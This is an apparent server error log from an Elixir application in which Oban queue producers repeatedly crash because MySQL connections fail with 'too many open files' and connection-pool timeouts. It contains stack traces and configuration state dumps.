State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:40:45.240680Z], limit: 3, uuid: "a26e7fcd-9cd7-4323-a1a1-bded5e7169c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:45.240685Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206958>, refresh_timer: #Reference<0.2525715032.1121189889.84901>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:02.604000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:04.918000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:05.293000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:05.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:05.590000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:05.872000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:07.857000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:40:57.245706Z], limit: 3, uuid: "cde7af80-0f35-4fc1-b7f9-71fa8462e8fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:57.245719Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207334>, refresh_timer: #Reference<0.2525715032.1077411843.207324>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:40:57.242836Z], limit: 5, uuid: "9e22ca31-3fc5-4c2e-93a8-12144b4651e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:57.242841Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207336>, refresh_timer: #Reference<0.2525715032.1121189889.85099>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:40:57.244908Z], limit: 5, uuid: "60a3c97d-5144-4b14-8c82-6eabfdd62ca9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:57.244913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207332>, refresh_timer: #Reference<0.2525715032.1077411843.207322>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:40:57.242724Z], limit: 10, uuid: "24a4c448-4786-4f97-bdf2-99db67f039fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:57.242730Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207335>, refresh_timer: #Reference<0.2525715032.1121189889.85095>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:40:57.239245Z], limit: 20, uuid: "3f806abc-e5c0-44d2-98ac-c394af1ab561", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:57.239254Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.85124>, refresh_timer: #Reference<0.2525715032.1121189889.85085>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:40:57.240757Z], limit: 50, uuid: "11118c12-d418-478e-930d-9aa212294137", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:57.240763Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.207333>, refresh_timer: #Reference<0.2525715032.1077411843.207296>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:09.136000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:09.572000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:10.205000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:14.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:16.992000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:18.300000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:18.822000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:41:08.239220Z], limit: 3, uuid: "0259c4ee-c9cf-4f8d-9103-3c4ec4e9f67b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:08.239226Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.85357>, refresh_timer: #Reference<0.2525715032.1121189889.85356>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:41:08.239740Z], limit: 10, uuid: "80106ad8-055b-41cb-b91e-a778dba4d857", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:08.239745Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 